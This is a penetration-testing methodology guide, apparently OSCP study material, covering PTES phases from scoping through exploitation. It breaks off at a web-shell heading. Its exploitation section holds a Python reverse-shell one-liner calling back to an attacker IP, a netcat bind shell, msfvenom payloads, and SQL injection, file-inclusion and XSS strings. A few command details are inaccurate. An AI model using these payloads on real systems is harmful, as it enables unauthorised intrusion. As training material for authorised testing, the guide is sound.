Domain 1Recon & ReportingCORE

Penetration Testing Methodology

Complete penetration testing methodology following PTES standard, from pre-engagement through reporting, with detailed phase breakdowns, tools, and OSCP-specific workflow guidance.

Domain: Domain 1: Reconnaissance & Reporting•Updated: 2026-09-01
#ptes#methodology#reconnaissance#exploitation#post-exploitation

Penetration Testing Methodology

Table of Contents

  1. What is a Penetration Testing Methodology?
  2. PTES Framework Overview
  3. PTES vs. Other Methodologies
  4. Phase 1: Pre-Engagement Interactions
  5. Phase 2: Intelligence Gathering (Reconnaissance)
  6. Phase 3: Threat Modeling
  7. Phase 4: Vulnerability Analysis
  8. Phase 5: Exploitation
  9. Phase 6: Post-Exploitation
  10. Phase 7: Reporting
  11. OSCP-Specific Methodology
  12. Practical Walkthrough: End-to-End Example
  13. Lab Exercises
  14. Key Tools Reference Table
  15. Exam Tips
  16. Cross-References

What is a Penetration Testing Methodology?

A penetration testing methodology is a structured, repeatable framework that guides ethical hackers through the entire lifecycle of a security assessment. It ensures:

  • Completeness: No critical step is skipped.
  • Consistency: Results are reproducible across engagements.
  • Compliance: Legal and contractual obligations are met.
  • Quality: Findings are validated, documented, and actionable.

Without a methodology, penetration testing becomes ad-hoc and unreliable – you might find some vulnerabilities by luck, but you’ll miss others systematically. A methodology turns hacking from an art into a disciplined engineering process.

Why Methodology Matters for OSCP

The OSCP exam is not just about finding vulnerabilities – it’s about demonstrating a systematic approach. Your report is graded alongside your technical performance. A strong methodology:

  1. Helps you manage the 23-hour exam window efficiently.
  2. Ensures you capture all required proofs (id, ip, hostname).
  3. Produces a report that meets OffSec’s documentation standards.
  4. Prevents the #1 reason candidates fail: running out of time due to disorganized work.

PTES Framework Overview

PTES (Penetration Testing Execution Standard) is an open-source, community-driven methodology published in 2009. It defines 7 phases that cover the complete penetration testing lifecycle.

The 7 Phases of PTES

Phase Name Purpose Key Activities
1 Pre-Engagement Interactions Define scope, rules, and legal boundaries Scope definition, RoE, authorization
2 Intelligence Gathering Collect information about the target OSINT, scanning, enumeration
3 Threat Modeling Identify and prioritize attack vectors Attack surface analysis, hypothesis generation
4 Vulnerability Analysis Discover and validate weaknesses Automated scanning, manual verification
5 Exploitation Gain access to target systems Exploit execution, initial access
6 Post-Exploitation Maximize access and gather evidence Privilege escalation, pivoting, data collection
7 Reporting Document and communicate findings Executive summary, technical details, remediation

Phase Flow Diagram

┌─────────────────────────┐
│  Phase 1: Pre-Engagement │
│  Interactions            │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 2: Intelligence   │
│  Gathering               │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 3: Threat         │
│  Modeling                │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 4: Vulnerability  │
│  Analysis                │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 5: Exploitation   │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 6: Post-          │
│  Exploitation            │
└───────────┬─────────────┘
            ▼
┌─────────────────────────┐
│  Phase 7: Reporting      │
└─────────────────────────┘

Note: In practice, phases 2-6 are often iterative. You may cycle back to reconnaissance after exploitation reveals new targets, or revisit threat modeling after discovering unexpected vulnerabilities.


PTES vs. Other Methodologies

Comparison Table

Feature PTES OWASP Testing Guide NIST SP 800-115 CIS Controls
Focus General pen testing Web applications Technical security testing Defensive controls
Phases 7 3 (Pre, Active, Post) 3 (Pre, Exec, Post) 18 controls
Best for Network/infra assessments Web app testing Government/enterprise Compliance mapping
OSCP relevance Primary framework Web targets only Reference only Low
Open source Yes Yes Yes Yes

When to Use PTES vs. Other Frameworks

Scenario Recommended Framework
Full network penetration test (OSCP-style) PTES
Web application assessment OWASP WSTG + PTES
Government/DoD engagement NIST SP 800-115
Compliance-driven assessment CIS Controls + PTES
Red team exercise PTES + MITRE ATT&CK
Bug bounty hunting OWASP + custom workflow

Why PTES for OSCP?

PTES is the de facto standard for OSCP because:

  1. It covers all attack surfaces (network, web, AD) in a unified framework.
  2. The phases map directly to the OSCP exam structure (recon -> exploit -> post-exploit -> report).
  3. It emphasizes documentation at every phase, which is critical for the OSCP report.
  4. It’s vendor-neutral and tool-agnostic, focusing on methodology over specific products.

Phase 1: Pre-Engagement Interactions

This phase establishes the foundation for the entire engagement. Skipping or rushing this phase leads to legal issues, scope creep, and wasted effort.

1.1 Scope Definition

The scope defines what you can and cannot test. A well-defined scope includes:

Element Description Example
Target IPs/Hostnames Specific systems in scope 10.10.10.1 through 10.10.10.254
Target Domains Domains to test target.com, *.target.com
Out-of-Scope Assets Systems explicitly excluded 10.10.10.1 (gateway), prod-db.target.com
Testing Types What kinds of tests are allowed Network scan, web app test, social engineering
Time Window When testing can occur 2026-09-01 00:00 to 2026-09-03 23:59
Contact Points Who to contact during the engagement SOC team, project manager

OSCP Exam Scope

For the OSCP exam, the scope is clearly defined:

  • Target Network: 10.10.10.0/24 (Pro Labs may vary)
  • Gateway: 10.10.10.1 – DO NOT SCAN OR ATTACK
  • Number of Targets: Typically 3 machines (2 easy/medium + 1 hard/bonus)
  • Time Limit: 23 hours for exploitation + 24 hours for reporting
  • Allowed: All techniques except DoS, social engineering, and physical attacks

1.2 Rules of Engagement (RoE)

Rules of Engagement define how you can test. Key elements:

Rules of Engagement:
  Allowed Techniques:
    - Port scanning (TCP/UDP)
    - Service enumeration
    - Vulnerability scanning
    - Exploitation (remote and local)
    - Privilege escalation
    - Credential dumping
    - Lateral movement (within scope)
    
  Prohibited Techniques:
    - Denial of Service (DoS/DDoS)
    - Social engineering
    - Physical security testing
    - Attacking out-of-scope systems
    - Attacking the gateway (10.10.10.1)
    - Data destruction or modification
    - Exfiltration of sensitive data beyond proof collection
    
  Notification Requirements:
    - Notify client before starting active scanning
    - Notify client of critical findings immediately
    - Daily status updates (for real engagements)

Never perform penetration testing without written authorization. Required documents:

Document Purpose
Letter of Authorization (LoA) Legal permission to test specific targets
Non-Disclosure Agreement (NDA) Protects both parties’ confidential information
Statement of Work (SoW) Defines deliverables, timeline, and payment
Get Out of Jail Free Card Colloquial term for the LoA – carry it during the engagement

Critical: The OSCP exam provides implicit authorization through the exam agreement. In real-world engagements, always obtain written authorization before any testing begins.

1.4 Tool and Resource Preparation

Kali Linux Setup

Kali Linux is the primary OS for OSCP. Ensure the following tools are installed and updated:

# Update system
sudo apt update && sudo apt full-upgrade -y

# Essential tools for OSCP
sudo apt install -y \
    nmap \
    metasploit-framework \
    john \
    hashcat \
    hydra \
    gobuster \
    dirb \
    sqlmap \
    nikto \
    burpsuite \
    wireshark \
    netcat-openbsd \
    curl \
    wget \
    python3 \
    python3-pip \
    git \
    bloodhound \
    crackmapexec \
    impacket-scripts \
    enum4linux-ng \
    smbclient \
    rpcclient \
    chisel \
    sshuttle

Custom Tool Installation

# Install additional Python tools
pip3 install --user \
    requests \
    beautifulsoup4 \
    colorama \
    paramiko \
    pwntools

# Clone essential GitHub repos
git clone https://github.com/carlospolop/PEASS-ng.git ~/tools/linpeas
git clone https://github.com/carlospolop/PEASS-ng.git ~/tools/winPEAS
git clone https://github.com/maurosoria/dirsearch.git ~/tools/dirsearch
git clone https://github.com/projectdiscovery/nuclei.git ~/tools/nuclei
git clone https://github.com/guelfoweb/knock.git ~/tools/knockpy
git clone https://github.com/lanmaster53/recon-ng.git ~/tools/recon-ng

Wordlists Preparation

# Essential wordlists for OSCP
sudo apt install -y seclists

# Key wordlist locations:
# /usr/share/seclists/Discovery/Web-Content/
#   - common.txt
#   - dirb/big.txt
#   - raft-medium-directories-lowercase-only.txt
# /usr/share/seclists/Passwords/
#   - Common-Credentials/master-list.txt
#   - Passwords/rockyou.txt (uncompressed)

# Uncompress rockyou.txt
cd /usr/share/seclists/Passwords
unzip -q rockyou.txt.gz -d . 2>/dev/null || true

Environment Verification Checklist

#!/bin/bash
# Environment verification script
echo "=== OSCP Environment Verification ==="

echo -e "\n[1] System Info"
uname -a
cat /etc/os-release | head -3

echo -e "\n[2] Network Configuration"
ip addr show tun0 2>/dev/null || ip addr show eth0
ping -c 2 10.10.10.1

echo -e "\n[3] Essential Tools"
for tool in nmap msfconsole john hydra gobuster sqlmap nikto burpsuite; do
    if command -v $tool &>/dev/null; then
        echo "  [OK] $tool"
    else
        echo "  [MISSING] $tool"
    fi
done

echo -e "\n[4] Wordlists"
if [ -f "/usr/share/seclists/Passwords/rockyou.txt" ]; then
    echo "  [OK] rockyou.txt"
else
    echo "  [MISSING] rockyou.txt"
fi

echo -e "\n[5] Python Tools"
python3 --version
pip3 list 2>/dev/null | grep -E "requests|beautifulsoup4|paramiko"

echo -e "\n=== Verification Complete ==="

1.5 Workspace Organization

Create a structured workspace for each engagement:

oscp-engagement/
├── targets/
│   ├── target-10.10.10.10/
│   │   ├── notes.md
│   │   ├── scans/
│   │   │   ├── nmap-initial.txt
│   │   │   ├── nmap-all-ports.txt
│   │   │   ├── nmap-service-detect.txt
│   │   │   └── nmap-os-detect.txt
│   │   ├── enumeration/
│   │   │   ├── smb.txt
│   │   │   ├── ftp.txt
│   │   │   ├── web/
│   │   │   │   ├── dirbust.txt
│   │   │   │   └── screenshots/
│   │   │   └── ssh.txt
│   │   ├── exploitation/
│   │   │   ├── exploit-notes.md
│   │   │   └── payloads/
│   │   ├── post-exploitation/
│   │   │   ├── privesc-notes.md
│   │   │   ├── user.txt
│   │   │   └── root.txt
│   │   └── proofs/
│   │       ├── user-proof.png
│   │       └── root-proof.png
│   └── target-10.10.10.20/
│       └── ...
├── wordlists/
│   ├── custom-usernames.txt
│   └── custom-passwords.txt
├── tools/
│   ├── linpeas/
│   └── winPEAS/
└── report/
    ├── executive-summary.md
    ├── technical-findings.md
    └── screenshots/

Phase 2: Intelligence Gathering (Reconnaissance)

Reconnaissance is the most critical phase for OSCP success. The quality of your recon directly determines how quickly you can identify exploitable vectors.

2.1 Passive Reconnaissance

Passive recon collects information without directly interacting with the target. This is stealthy and leaves minimal traces.

OSINT (Open Source Intelligence)

# Google Dorking Examples
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:docx
site:target.com filetype:xlsx
site:target.com filetype:config
site:target.com filetype:env
site:target.com intitle:"index of"

# Find subdomains
site:*.target.com
site:target.com -site:www.target.com

# Find exposed panels
site:target.com intitle:"admin"
site:target.com intitle:"dashboard"
site:target.com intitle:"login"
site:target.com inurl:phpmyadmin
site:target.com inurl:admin

theHarvester

# Basic usage
theHarvester -d target.com -b all

# Specific sources
theHarvester -d target.com -b google,bing,shodan
theHarvester -d target.com -b github -f ~/recon/github-target

# Extract emails, subdomains, and IPs
theHarvester -d target.com -b all -f ~/recon/target-harvest -l 500

# Output example:
# HOSTS / SUBDOMAINS / VHOSTS:
# www.target.com
# mail.target.com
# dev.target.com
# staging.target.com
# api.target.com
#
# PEOPLE:
# admin@target.com
# john.doe@target.com
#
# IPs:
# 203.0.113.10
# 203.0.113.11

Shodan

# Install Shodan CLI
pip3 install shodan
shodan init YOUR_API_KEY

# Search for target
shodan search "target.com"
shodan search "org:Target Corporation"
shodan search "hostname:target.com"

# Get detailed info
shodan info
shodan count "port:80 country:US"

# Export results
shodan search "target.com" --fields ip_str,port,org,hostnames --csv > shodan-results.csv

Maltego

Maltego is a visual OSINT and relationship mapping tool:

Key Transformations for OSCP:
├── DNS Transformations
│   ├── DNS -> Resolve (A records)
│   ├── DNS -> Reverse (PTR records)
│   └── DNS -> Zone Transfer (AXFR)
├── WHOIS Transformations
│   ├── Domain -> WHOIS Details
│   └── IP -> WHOIS Details
├── Web Transformations
│   ├── URL -> Web Page Content
│   └── URL -> Linked URLs
└── Social Media
    ├── Domain -> Associated Emails
    └── Person -> Social Profiles

OSCP Note: Maltego is less critical for OSCP since targets are internal IPs. Focus more on active reconnaissance.

2.2 Active Reconnaissance

Active recon involves direct interaction with the target systems. This is where most OSCP work happens.

Nmap Scanning Strategy

Nmap is the most important tool in your arsenal. Use a systematic approach:

Step 1: Initial Discovery Scan
# Quick ping sweep to find live hosts
nmap -sn 10.10.10.0/24

# Output example:
# Nmap scan report for 10.10.10.10
# Host is up (0.0023s latency).
# Nmap scan report for 10.10.10.20
# Host is up (0.0019s latency).
# Nmap scan report for 10.10.10.1
# Host is up (0.0008s latency).
Step 2: TCP Port Scan (Common Ports)
# Scan top 1000 TCP ports
nmap -sS --top-ports 1000 -T4 -oN scans/nmap-top1000 10.10.10.10

# Flags explanation:
# -sS     : SYN scan (stealthy, half-open)
# --top-ports 1000 : Top 1000 most common ports
# -T4     : Aggressive timing (faster)
# -oN     : Normal output format
Step 3: Full Port Scan
# Scan ALL 65535 TCP ports (essential for OSCP!)
nmap -sS -p- -T4 -oN scans/nmap-all-ports 10.10.10.10

# Why scan all ports?
# OSCP machines often have services on non-standard ports:
# - SSH on port 2222
# - HTTP on port 8080, 8443, 3000, 5000
# - Custom services on high ports (4444, 8000, 9090)
Step 4: Service Version Detection
# Detect service versions on open ports
nmap -sV -p 22,80,443,3306,8080 -T4 -oN scans/nmap-services 10.10.10.10

# Combined with OS detection
nmap -sV -sO -p 22,80,443,3306,8080 -T4 -oN scans/nmap-services-os 10.10.10.10

# Output example:
# PORT      STATE  SERVICE  VERSION
# 22/tcp    open   ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
# 80/tcp    open   http     Apache httpd 2.4.41 ((Ubuntu))
# 443/tcp   open   ssl/http Apache httpd 2.4.41
# 3306/tcp  open   mysql    MySQL 8.0.26-0ubuntu0.20.04.2
# 8080/tcp  open   http     Werkzeug httpd 2.0.2 (Python 3.8.10)
Step 5: Script Scanning
# Default script scan on open ports
nmap -sC -p 22,80,443,3306,8080 -T4 -oN scans/nmap-scripts 10.10.10.10

# Targeted script scanning
nmap --script "http-enum" -p 80,443,8080 -oN scans/nmap-http-enum 10.10.10.10
nmap --script "smb-enum*" -p 445 -oN scans/nmap-smb-enum 10.10.10.10
nmap --script "ftp-*" -p 21 -oN scans/nmap-ftp-enum 10.10.10.10
nmap --script "ssh-*" -p 22 -oN scans/nmap-ssh-enum 10.10.10.10

# Vulnerability scripts (use carefully)
nmap --script "vuln" -p 80,443 -oN scans/nmap-vuln 10.10.10.10
Step 6: UDP Port Scan
# UDP scan (slower but important)
nmap -sU --top-ports 100 -T4 -oN scans/nmap-udp 10.10.10.10

# Common UDP ports to check:
# 53    - DNS
# 67/68 - DHCP
# 123   - NTP
# 161   - SNMP
# 500   - IKE
# 514   - Syslog
# 1900  - UPnP
# 5353  - mDNS
Complete Nmap Command for OSCP
# The "kitchen sink" scan -- run this for each target
nmap -sS -sU -sV -sC -p- -T4 -oN scans/nmap-full \
    -oX scans/nmap-full.xml \
    10.10.10.10

# Breakdown:
# -sS  : TCP SYN scan
# -sU  : UDP scan
# -sV  : Version detection
# -sC  : Default scripts
# -p-  : All ports
# -T4  : Aggressive timing
# -oN  : Normal output
# -oX  : XML output (for parsing)

Service Enumeration

After identifying open ports, enumerate each service in detail:

SMB Enumeration
# enum4linux-ng (modern replacement for enum4linux)
enum4linux-ng -A 10.10.10.10

# smbclient -- browse shares
smbclient -L \\\\10.10.10.10\\ -N
smbclient \\\\10.10.10.10\\SHARE_NAME -N

# rpcclient -- enumerate users
rpcclient -U "" 10.10.10.10

# crackmapexec -- quick SMB info
crackmapexec smb 10.10.10.10 --shares --users --groups --pass-pol

# Impacket tools
getusers.py 10.10.10.10
lookupsid.py 10.10.10.10
FTP Enumeration
# Manual FTP connection
ftp 10.10.10.10
# Try anonymous login
anonymous
<blank password>

# Automated FTP enumeration
ftp-anon 10.10.10.10

# Check for writable directories
# After login:
ls -la
pwd
put test_file.txt
SSH Enumeration
# Check SSH version
nmap -sV -p 22 --script "ssh-*" 10.10.10.10

# Check for weak ciphers
nmap -sV -p 22 --script "ssh2-enum-algos" 10.10.10.10

# Try common credentials
hydra -l username -P /usr/share/seclists/Passwords/rockyou.txt ssh://10.10.10.10
Web Service Enumeration
# Directory brute-forcing with gobuster
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
gobuster dir -u http://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/dirb/big.txt -t 50 -x php,txt,html,backup,bak

# Directory brute-forcing with dirsearch
python3 ~/tools/dirsearch/dirsearch.py -u http://10.10.10.10 -e php,txt,html,backup,bak -t 50

# Subdomain enumeration (for external targets)
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Virtual host enumeration
gobuster vhost -u http://10.10.10.10 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
DNS Enumeration
# DNS zone transfer attempt
dig axfr @10.10.10.10 target.com

# DNS record enumeration
dig ANY @10.10.10.10 target.com
dig A @10.10.10.10 target.com
dig MX @10.10.10.10 target.com
dig NS @10.10.10.10 target.com
dig TXT @10.10.10.10 target.com
SNMP Enumeration
# SNMP community string brute-force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.10

# snmpwalk with common community strings
snmpwalk -v 2c -c public 10.10.10.10
snmpwalk -v 2c -c private 10.10.10.10

# Using Metasploit
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.10.10
run

2.3 Footprinting

Footprinting builds a comprehensive profile of the target:

Technique Purpose Tools
Subdomain Enumeration Discover all subdomains gobuster, knockpy, subfinder
Technology Stack ID Identify frameworks, CMS, languages Wappalyzer, whatweb, builtwith
Email Enumeration Find email addresses theHarvester, email-format
Employee Discovery Identify key personnel LinkedIn, company website
Infrastructure Mapping Map network topology nmap, traceroute, arp-scan

Technology Stack Identification

# whatweb
whatweb http://10.10.10.10
whatweb http://10.10.10.10 -v

# wpscan (WordPress specific)
wpscan --url http://10.10.10.10 --enumerate ap,at,tt,cb,dbe

# joomscan (Joomla specific)
joomscan -u http://10.10.10.10

# CMS detection
# Check for common CMS indicators:
curl -s http://10.10.10.10 | grep -i "wordpress\|joomla\|drupal\|typo3"
curl -s http://10.10.10.10/robots.txt
curl -s http://10.10.10.10/sitemap.xml

Phase 3: Threat Modeling

Threat modeling translates reconnaissance data into actionable attack plans.

3.1 Attack Surface Analysis

Map every entry point and assess its exploitability:

Target: 10.10.10.10
├── Port 22/tcp  - SSH (OpenSSH 8.2p1)
│   ├── Risk: Medium (version-specific exploits possible)
│   ├── Attack Vectors: Brute force, weak keys, CVE exploits
│   └── Priority: High (if credentials found)
│
├── Port 80/tcp  - HTTP (Apache 2.4.41)
│   ├── Risk: High (web apps are most common attack surface)
│   ├── Attack Vectors: SQLi, XSS, RCE, file upload, LFI/RFI
│   └── Priority: Critical (enumerate first)
│
├── Port 445/tcp - SMB (Windows Server)
│   ├── Risk: High (SMB has many known exploits)
│   ├── Attack Vectors: EternalBlue, weak creds, null sessions
│   └── Priority: High
│
└── Port 3306/tcp - MySQL (8.0.26)
    ├── Risk: Medium (usually requires local access)
    ├── Attack Vectors: Default creds, SQL injection from web
    └── Priority: Medium (secondary target)

3.2 Vulnerability Hypothesis Generation

Based on recon data, generate testable hypotheses:

Hypothesis Evidence Test Method
Web app has SQL injection Login form with no WAF sqlmap manual testing
SMB allows null session Windows Server 2016 rpcclient -U ""
SSH has weak passwords Default service config hydra brute force
Apache has directory traversal Old version detected Manual LFI testing
MySQL has default creds No auth on first connect mysql -u root -p

3.3 Attack Path Planning

Create a prioritized attack plan:

Priority 1: Web Application (Port 80)
  1. Directory brute-force -> find interesting endpoints
  2. Test for common vulnerabilities (SQLi, XSS, RCE)
  3. Look for file upload functionality
  4. Check for information disclosure

Priority 2: SMB Service (Port 445)
  1. Check for null session access
  2. Enumerate shares and users
  3. Look for writable shares
  4. Test for known SMB exploits

Priority 3: SSH Service (Port 22)
  1. Try credentials found from other services
  2. Brute force with common passwords
  3. Check for SSH-specific CVEs

Priority 4: MySQL (Port 3306)
  1. Try default credentials
  2. Look for SQL injection from web app
  3. Check for remote root access

3.4 Prioritization Strategies

Strategy Description When to Use
Lowest Hanging Fruit Attack the easiest target first Time-constrained (OSCP exam)
Highest Impact Target the most critical system Real-world engagements
Broadest Access Target that gives widest network access Multi-target environments
Least Detected Attack vector least likely to be monitored Red team engagements

OSCP Strategy: Always go for the lowest hanging fruit first. Get quick wins on easy machines, then use remaining time for harder targets. This guarantees you have at least 2 boxes for passing.


Phase 4: Vulnerability Analysis

Vulnerability analysis identifies and validates weaknesses found during reconnaissance.

4.1 Automated Scanning

OpenVAS

# Start OpenVAS services
sudo gsad --http-only --listen 127.0.0.1 --port 9392
sudo greenbone-feed-sync --type GVMD_DATA
sudo greenbone-feed-sync --type SCAP
sudo greenbone-feed-sync --type CERT

# Access via browser: https://127.0.0.1:9392
# Default credentials: admin / admin (change on first login)

# Create a new scan:
# 1. Targets -> New Target -> Add host (10.10.10.10)
# 2. Scans -> New Task -> Select target -> Select scan config
# 3. Run the task and wait for results

Nessus

# Start Nessus
sudo nessusd start

# Access via browser: https://127.0.0.1:8834
# Create account during first setup

# Scan configuration:
# 1. New Scan -> Basic Network Scan
# 2. Add hosts: 10.10.10.10
# 3. Use default credentials (for OSCP labs)
# 4. Launch scan

Nikto

# Basic web vulnerability scan
nikto -h http://10.10.10.10

# With output file
nikto -h http://10.10.10.10 -o nikto-report.txt -Format txt

# With custom user agent and port
nikto -h http://10.10.10.10:8080 -e -ssl

# Flags:
# -e    : Check all HTTP methods
# -ssl  : Use HTTPS
# -Tuning : Select test categories
#   1    : Interesting File / Seen in logs
#   2    : Misconfiguration / Default File
#   3    : Information Disclosure
#   4    : Injection (XSS/Script/HTML)
#   5    : Remote File Retrieval - Inside Web Root
#   6    : Denial of Service
#   7    : Remote File Retrieval - Server Wide
#   8    : Command Execution / Remote Shell
#   9    : SQL Injection
#   a    : Authentication Bypass
#   b    : Software Identification
#   c    : Remote Source Inclusion

4.2 Manual Verification

Automated scanners are NOT enough for OSCP. They produce false positives and miss context-specific vulnerabilities.

Why Manual Verification is Critical

Issue Description Impact
False Positives Scanner reports vulnerability that doesn’t exist Wasted time on non-issues
False Negatives Scanner misses real vulnerabilities Missed exploitation paths
Context Blindness Scanner doesn’t understand app logic Misses business logic flaws
Version Mismatch Scanner uses outdated exploit DB Exploit fails on target

Vulnerability Validation Techniques

# 1. Verify SQL Injection manually
# Instead of just trusting sqlmap, test manually:
curl "http://10.10.10.10/login.php?user=admin'--&pass=test"
curl "http://10.10.10.10/login.php?user=admin'%20OR%201=1--&pass=test"

# 2. Verify Command Injection manually
# Test with common payloads:
; id
| id
&& id
`id`
$(id)

# 3. Verify File Inclusion manually
curl "http://10.10.10.10/page.php?file=../../../../etc/passwd"
curl "http://10.10.10.10/page.php?file=php://filter/convert.base64-encode/resource=index"

# 4. Verify XSS manually
# Test in browser with:
<script>alert(1)</script>
"><script>alert(1)</script>
'"><script>alert(1)</script>

4.3 False Positive Identification

Common false positives and how to identify them:

Scanner Finding Likely False Positive? Verification Method
SQL Injection (sqlmap) Sometimes Test manually with simple payloads
XSS (scanner) Often Test in actual browser context
Directory Traversal Sometimes Try reading /etc/passwd manually
Command Injection Rarely Test with ; id or `
Information Disclosure Rarely Verify the data is actually sensitive
Missing Headers Always (low risk) Note but don’t prioritize

Phase 5: Exploitation

Exploitation is where you gain initial access to the target system.

5.1 Initial Access Techniques

Technique Description Common Targets
Remote Code Execution (RCE) Execute commands on the target Web apps, services
SQL Injection Manipulate database queries Web applications
File Upload Upload malicious files Web apps with upload functionality
Credential Attacks Brute force or use stolen creds SSH, RDP, web login
Exploit Known CVEs Use published exploits Specific software versions
Default Credentials Use factory-default passwords IoT, routers, appliances

5.2 Metasploit Usage (Detailed)

Metasploit Framework is the primary exploitation tool for OSCP.

Basic Metasploit Workflow

# Start Metasploit Console
msfconsole

# Search for exploits
search apache 2.4.41
search type:exploit platform:linux service:http
search eternalblue

# Select an exploit
use exploit/multi/http/apache_struts2_content_type

# View exploit information
info

# Show available options
show options

# Show available payloads
show payloads

# Set required options
set RHOSTS 10.10.10.10
set RPORT 8080
set TARGETURI /vulnerable-app

# Set payload
set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Set payload options
set LHOST 10.10.14.5    # Your Kali IP
set LPORT 4443

# Execute the exploit
exploit

# If successful, you get a meterpreter session
# Run 'sessions -l' to list active sessions
# Run 'sessions -i 1' to interact with session 1

Common Metasploit Payloads

Payload Architecture Use Case
linux/x86/meterpreter/reverse_tcp Linux 32-bit Linux targets (32-bit)
linux/x64/meterpreter/reverse_tcp Linux 64-bit Linux targets (64-bit)
windows/x86/meterpreter/reverse_tcp Windows 32-bit Windows targets (32-bit)
windows/x64/meterpreter/reverse_tcp Windows 64-bit Windows targets (64-bit)
linux/x86/shell_reverse_tcp Linux 32-bit Simple reverse shell
windows/x86/shell_reverse_tcp Windows 32-bit Simple reverse shell

Meterpreter Post-Exploitation Commands

# Basic system info
sysinfo
getuid
getsystem    # Attempt privilege escalation

# File system operations
ls
cd /path/to/dir
cat /etc/passwd
download /path/to/file /local/path/
upload /local/file /remote/path/

# Network operations
ipconfig
netstat
run get_local_subnets

# User and credential operations
getsystem
hashdump
run post/multi/recon/local_exploit_suggester

# Process management
ps
migrate <PID>
background    # Background current session

# Shell access
shell         # Get system shell
bash          # Get bash shell (if available)

Metasploit Auxiliary Modules

# SMB enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.10
run

# SMB login brute force
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
run

# HTTP directory scanner
use auxiliary/scanner/http/dir_scanner
set RHOSTS 10.10.10.10
set DIRS /usr/share/seclists/Discovery/Web-Content/common.txt
run

# MySQL brute force
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.10.10.10
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
run

5.3 Manual Exploitation

Manual exploitation is preferred over Metasploit for OSCP because:

  1. It demonstrates deeper understanding.
  2. Metasploit exploits may fail or be detected.
  3. Manual exploits give you more control.
  4. The report looks more professional.

Exploit Search and Selection

# SearchSploit (command line searchsploit)
searchsploit Apache 2.4.41
searchsploit "Apache Struts 2"
searchsploit "OpenSSH 8.2"

# View exploit details
searchsploit -m 49158.py

# Copy exploit to working directory
searchsploit -m 49158.py ~/oscp/target-10.10.10.10/exploitation/

# Exploit-DB website: https://www.exploit-db.com
# GitHub search for specific CVEs

Python Exploit Adaptation

Most exploits from Exploit-DB need modification:

#!/usr/bin/env python3
# Common modifications needed:

# 1. Change target IP and port
# Original: target = "192.168.1.100"
target = "10.10.10.10"
port = 8080

# 2. Change payload (use your own shellcode)
# Generate custom payload:
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f python

# 3. Fix encoding issues
# Some exploits use old Python 2 syntax
# Convert print statements, raw_input, etc.

# 4. Handle network connections
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

# 5. Send the exploit
s.send(b"EXPLOIT_PAYLOAD_HERE")

# 6. Receive response
response = s.recv(4096)
print(response.decode())

Generating Custom Payloads

# Linux reverse shell (Python)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f python

# Linux reverse shell (C)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f c

# Linux reverse shell (raw)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.bin

# Windows reverse shell (exe)
msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o shell.exe

# Windows reverse shell (powershell)
msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f psh

# PHP reverse shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.php

# Java reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.jsp

# ASP reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f asp -o shell.asp

5.4 Web Application Exploitation

SQL Injection

# Manual SQLi testing
# Boolean-based:
' OR '1'='1
' OR 1=1--
' OR 'a'='a

# Union-based:
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

# Time-based:
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--

# Using sqlmap
sqlmap -u "http://10.10.10.10/vuln.php?id=1" --batch
sqlmap -u "http://10.10.10.10/vuln.php?id=1" --dbs
sqlmap -u "http://10.10.10.10/vuln.php?id=1" -D database_name --tables
sqlmap -u "http://10.10.10.10/vuln.php?id=1" -D database_name -T users --dump
sqlmap -u "http://10.10.10.10/vuln.php?id=1" --os-shell

# POST-based SQLi
sqlmap -u "http://10.10.10.10/login.php" --data="user=admin&pass=test" --batch

Command Injection

# Common OS command injection payloads
; ls -la
| ls -la
&& ls -la
`ls -la`
$(ls -la)

# Reverse shell via command injection
; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bind shell
; nc -e /bin/sh 0.0.0.0 4443

File Upload Exploitation

# Steps for file upload exploitation:
# 1. Find upload functionality
# 2. Test upload restrictions (file type, size, content)
# 3. Bypass restrictions:
#    - Change MIME type
#    - Double extension (.php.jpg)
#    - Null byte injection (.php%00.jpg)
#    - Case manipulation (.PhP, .pHp)
#    - Upload .htaccess to override handlers
# 4. Upload web shell
# 5. Access the uploaded file
# 6. Execute commands

# Common web shells:
